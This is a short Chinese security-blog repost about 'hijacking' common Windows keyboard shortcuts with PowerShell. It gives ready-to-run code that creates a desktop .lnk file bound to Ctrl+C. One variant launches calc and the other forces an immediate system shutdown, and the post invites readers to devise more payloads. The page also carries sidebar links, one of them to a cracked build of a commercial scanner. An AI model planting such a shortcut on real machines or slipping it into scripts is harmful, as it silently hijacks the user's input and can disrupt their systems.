Hijacking Common Windows Shortcuts with Powershell

2018 年 5 月 14 日 黑白之道


Demo:



劫持快捷键,执行命令。


Code:


calc:


$WshShell = New-Object -comObject WScript.Shell

$Shortcut = $WshShell.CreateShortcut("desktop\desktoppayload.lnk")

$Shortcut.TargetPath = "%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe"

$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"

$Shortcut.hotkey = "ctrl+c"

$Shortcut.Arguments = 'calc'

$Shortcut.Save()


shutdown:


$WshShell = New-Object -comObject WScript.Shell

$Shortcut = $WshShell.CreateShortcut("desktop\desktoppayload.lnk")

$Shortcut.TargetPath = "%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe"

$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"

$Shortcut.hotkey = "ctrl+c"

$Shortcut.Arguments = 'shutdown /s /t 0'

$Shortcut.Save()


更多玩儿法,你来创造~


文章出处:Evi1cg's blog   

原文链接:https://evi1cg.me/archives/hijacking-common-windows-shortcuts-with-powershell.html


你可能喜欢

Powershell编码与混淆

PowerCat – powershell的瑞士军刀(netcat)

Powershell版netcat简介


登录查看更多
0

相关内容

MIT新书《强化学习与最优控制》
专知会员服务
282+阅读 · 2019年10月9日
用 Python 开发 Excel 宏脚本的神器
私募工场
26+阅读 · 2019年9月8日
AWVS12 V12.0.190530102 windows正式版完美破解版
黑白之道
29+阅读 · 2019年8月24日
Windows开源无人机仿真工具:AirSim1.0 入门
无人机
26+阅读 · 2019年6月8日
支持多标签页的Windows终端:Fluent 终端
Python程序员
7+阅读 · 2019年4月15日
去哪儿网开源DNS管理系统OpenDnsdb
运维帮
21+阅读 · 2019年1月22日
Arxiv
5+阅读 · 2018年5月1日
VIP会员
相关资讯
用 Python 开发 Excel 宏脚本的神器
私募工场
26+阅读 · 2019年9月8日
AWVS12 V12.0.190530102 windows正式版完美破解版
黑白之道
29+阅读 · 2019年8月24日
Windows开源无人机仿真工具:AirSim1.0 入门
无人机
26+阅读 · 2019年6月8日
支持多标签页的Windows终端:Fluent 终端
Python程序员
7+阅读 · 2019年4月15日
去哪儿网开源DNS管理系统OpenDnsdb
运维帮
21+阅读 · 2019年1月22日
Top
微信扫码咨询专知VIP会员